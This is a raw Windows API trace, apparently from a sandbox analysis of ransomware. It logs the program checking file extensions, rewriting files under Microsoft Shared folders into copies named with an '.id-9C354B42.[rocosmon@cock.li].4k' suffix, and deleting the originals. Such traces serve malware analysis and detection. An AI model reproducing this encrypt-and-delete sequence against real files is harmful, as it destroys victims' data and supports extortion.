	[0093.648] lstrlenW (lpString=".xlsx") returned 5
	[0093.648] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0093.648] lstrlenW (lpString=".ppt") returned 4
	[0093.648] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0093.648] lstrlenW (lpString=".zip") returned 4
	[0093.648] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.648] lstrlenW (lpString=".rar") returned 4
	[0093.648] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.648] lstrlenW (lpString=".bz2") returned 4
	[0093.648] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.648] lstrlenW (lpString=".7z") returned 3
	[0093.648] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0093.648] lstrlenW (lpString=".dbf") returned 4
	[0093.648] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0093.648] lstrlenW (lpString=".1cd") returned 4
	[0093.648] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0093.648] lstrlenW (lpString=".jpg") returned 4
	[0093.648] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.648] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0093.649] lstrlenW (lpString="MS.PNG") returned 6
	[0093.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0094.415] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1682) returned 1
	[0094.415] CloseHandle (hObject=0x178) returned 1
	[0094.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20
	[0094.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0094.416] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.416] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0094.416] GetLastError () returned 0x0
	[0094.416] ReadFile (in: hFile=0x178, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x692, lpOverlapped=0x0) returned 1
	[0094.431] WriteFile (in: hFile=0x190, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x6a0, lpOverlapped=0x0) returned 1
	[0094.433] ReadFile (in: hFile=0x178, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0094.433] WriteFile (in: hFile=0x190, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0094.433] SetEndOfFile (hFile=0x190) returned 1
	[0094.433] CloseHandle (hObject=0x190) returned 1
	[0094.443] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.443] SetEndOfFile (hFile=0x178) returned 1
	[0094.444] CloseHandle (hObject=0x178) returned 1
	[0094.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0094.444] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1
	[0094.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0094.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0094.445] lstrlenW (lpString=".doc") returned 4
	[0094.445] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0094.445] lstrlenW (lpString=".docx") returned 5
	[0094.445] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1
	[0094.445] lstrlenW (lpString=".pdf") returned 4
	[0094.445] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0094.445] lstrlenW (lpString=".xls") returned 4
	[0094.445] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0094.445] lstrlenW (lpString=".xlsx") returned 5
	[0094.445] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1
	[0094.445] lstrlenW (lpString=".ppt") returned 4
	[0094.445] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0094.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0094.445] lstrlenW (lpString=".zip") returned 4
	[0094.445] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0094.445] lstrlenW (lpString=".rar") returned 4
	[0094.445] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0094.445] lstrlenW (lpString=".bz2") returned 4
	[0094.445] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0094.445] lstrlenW (lpString=".7z") returned 3
	[0094.445] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0094.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0094.446] lstrlenW (lpString=".dbf") returned 4
	[0094.446] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0094.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0094.446] lstrlenW (lpString=".1cd") returned 4
	[0094.446] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0094.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0094.446] lstrlenW (lpString=".jpg") returned 4
	[0094.446] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0094.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0094.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0094.446] lstrlenW (lpString=".doc") returned 4
	[0094.446] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0094.446] lstrlenW (lpString=".docx") returned 5
	[0094.446] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1
	[0094.446] lstrlenW (lpString=".pdf") returned 4
	[0094.446] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0094.446] lstrlenW (lpString=".xls") returned 4
	[0094.446] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0094.446] lstrlenW (lpString=".xlsx") returned 5
	[0094.446] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1
	[0094.446] lstrlenW (lpString=".ppt") returned 4
	[0094.446] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0094.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0094.446] lstrlenW (lpString=".zip") returned 4
	[0094.446] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0094.446] lstrlenW (lpString=".rar") returned 4
	[0094.446] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0094.447] lstrlenW (lpString=".bz2") returned 4
	[0094.447] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0094.447] lstrlenW (lpString=".7z") returned 3
	[0094.447] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0094.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0094.447] lstrlenW (lpString=".dbf") returned 4
	[0094.447] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0094.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0094.447] lstrlenW (lpString=".1cd") returned 4
	[0094.447] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0094.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0094.447] lstrlenW (lpString=".jpg") returned 4
	[0094.447] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0094.447] lstrcmpiW (lpString1=".avi", lpString2=".4k") returned 1
	[0094.447] lstrlenW (lpString="split.avi") returned 9
	[0094.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4
	[0095.498] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=194048) returned 1
	[0095.498] CloseHandle (hObject=0x1c4) returned 1
	[0095.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20
	[0095.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0095.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0095.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66
	[0095.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66
	[0095.513] lstrlenW (lpString=".doc") returned 4
	[0095.516] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0095.520] lstrlenW (lpString=".docx") returned 5
	[0095.520] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0095.523] lstrlenW (lpString=".pdf") returned 4
	[0095.527] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0095.527] lstrlenW (lpString=".xls") returned 4
	[0095.527] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0095.527] lstrlenW (lpString=".xlsx") returned 5
	[0095.527] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0095.527] lstrlenW (lpString=".ppt") returned 4
	[0095.527] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0095.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66
	[0095.527] lstrlenW (lpString=".zip") returned 4
	[0095.527] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0095.527] lstrlenW (lpString=".rar") returned 4
	[0095.527] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0095.527] lstrlenW (lpString=".bz2") returned 4
	[0095.527] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0095.527] lstrlenW (lpString=".7z") returned 3
	[0095.527] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0095.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66
	[0095.527] lstrlenW (lpString=".dbf") returned 4
	[0095.527] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0095.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66
	[0095.527] lstrlenW (lpString=".1cd") returned 4
	[0095.527] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0095.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66
	[0095.527] lstrlenW (lpString=".jpg") returned 4
	[0095.527] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0095.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66
	[0095.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66
	[0095.528] lstrlenW (lpString=".doc") returned 4
	[0095.528] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0095.528] lstrlenW (lpString=".docx") returned 5
	[0095.528] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0095.528] lstrlenW (lpString=".pdf") returned 4
	[0095.528] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0095.528] lstrlenW (lpString=".xls") returned 4
	[0095.528] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0095.528] lstrlenW (lpString=".xlsx") returned 5
	[0095.528] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0095.528] lstrlenW (lpString=".ppt") returned 4
	[0095.528] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0095.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66
	[0095.528] lstrlenW (lpString=".zip") returned 4
	[0095.528] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0095.528] lstrlenW (lpString=".rar") returned 4
	[0095.528] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0095.528] lstrlenW (lpString=".bz2") returned 4
	[0095.528] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0095.528] lstrlenW (lpString=".7z") returned 3
	[0095.528] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0095.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66
	[0095.528] lstrlenW (lpString=".dbf") returned 4
	[0095.528] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0095.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66
	[0095.528] lstrlenW (lpString=".1cd") returned 4
	[0095.528] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0095.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66
	[0095.529] lstrlenW (lpString=".jpg") returned 4
	[0095.529] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0095.529] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0095.529] lstrlenW (lpString="zh-phonetic.xml") returned 15
	[0095.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0096.010] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=10947) returned 1
	[0096.010] CloseHandle (hObject=0x1d0) returned 1
	[0096.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20
	[0096.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0096.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0096.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0096.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0096.011] lstrlenW (lpString=".doc") returned 4
	[0096.011] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.011] lstrlenW (lpString=".docx") returned 5
	[0096.011] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1
	[0096.011] lstrlenW (lpString=".pdf") returned 4
	[0096.011] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.011] lstrlenW (lpString=".xls") returned 4
	[0096.011] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.011] lstrlenW (lpString=".xlsx") returned 5
	[0096.012] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1
	[0096.012] lstrlenW (lpString=".ppt") returned 4
	[0096.012] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0096.012] lstrlenW (lpString=".zip") returned 4
	[0096.012] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.012] lstrlenW (lpString=".rar") returned 4
	[0096.012] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.012] lstrlenW (lpString=".bz2") returned 4
	[0096.012] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.012] lstrlenW (lpString=".7z") returned 3
	[0096.012] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0096.012] lstrlenW (lpString=".dbf") returned 4
	[0096.012] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0096.012] lstrlenW (lpString=".1cd") returned 4
	[0096.012] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0096.013] lstrlenW (lpString=".jpg") returned 4
	[0096.013] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0096.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0096.013] lstrlenW (lpString=".doc") returned 4
	[0096.013] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.013] lstrlenW (lpString=".docx") returned 5
	[0096.013] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1
	[0096.013] lstrlenW (lpString=".pdf") returned 4
	[0096.013] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.013] lstrlenW (lpString=".xls") returned 4
	[0096.013] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.013] lstrlenW (lpString=".xlsx") returned 5
	[0096.013] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1
	[0096.013] lstrlenW (lpString=".ppt") returned 4
	[0096.013] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0096.014] lstrlenW (lpString=".zip") returned 4
	[0096.014] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.014] lstrlenW (lpString=".rar") returned 4
	[0096.014] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.014] lstrlenW (lpString=".bz2") returned 4
	[0096.014] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.014] lstrlenW (lpString=".7z") returned 3
	[0096.014] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0096.014] lstrlenW (lpString=".dbf") returned 4
	[0096.014] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0096.014] lstrlenW (lpString=".1cd") returned 4
	[0096.014] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0096.014] lstrlenW (lpString=".jpg") returned 4
	[0096.014] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.015] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0096.015] lstrlenW (lpString="osknumpadbase.xml") returned 17
	[0096.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0096.015] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1437) returned 1
	[0096.015] CloseHandle (hObject=0x1d0) returned 1
	[0096.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20
	[0096.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0096.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0096.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0096.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0096.016] lstrlenW (lpString=".doc") returned 4
	[0096.016] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.016] lstrlenW (lpString=".docx") returned 5
	[0096.016] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0096.016] lstrlenW (lpString=".pdf") returned 4
	[0096.016] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.016] lstrlenW (lpString=".xls") returned 4
	[0096.016] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.016] lstrlenW (lpString=".xlsx") returned 5
	[0096.016] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0096.016] lstrlenW (lpString=".ppt") returned 4
	[0096.016] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0096.017] lstrlenW (lpString=".zip") returned 4
	[0096.017] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.017] lstrlenW (lpString=".rar") returned 4
	[0096.017] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.017] lstrlenW (lpString=".bz2") returned 4
	[0096.017] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.017] lstrlenW (lpString=".7z") returned 3
	[0096.017] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0096.017] lstrlenW (lpString=".dbf") returned 4
	[0096.017] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0096.017] lstrlenW (lpString=".1cd") returned 4
	[0096.017] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
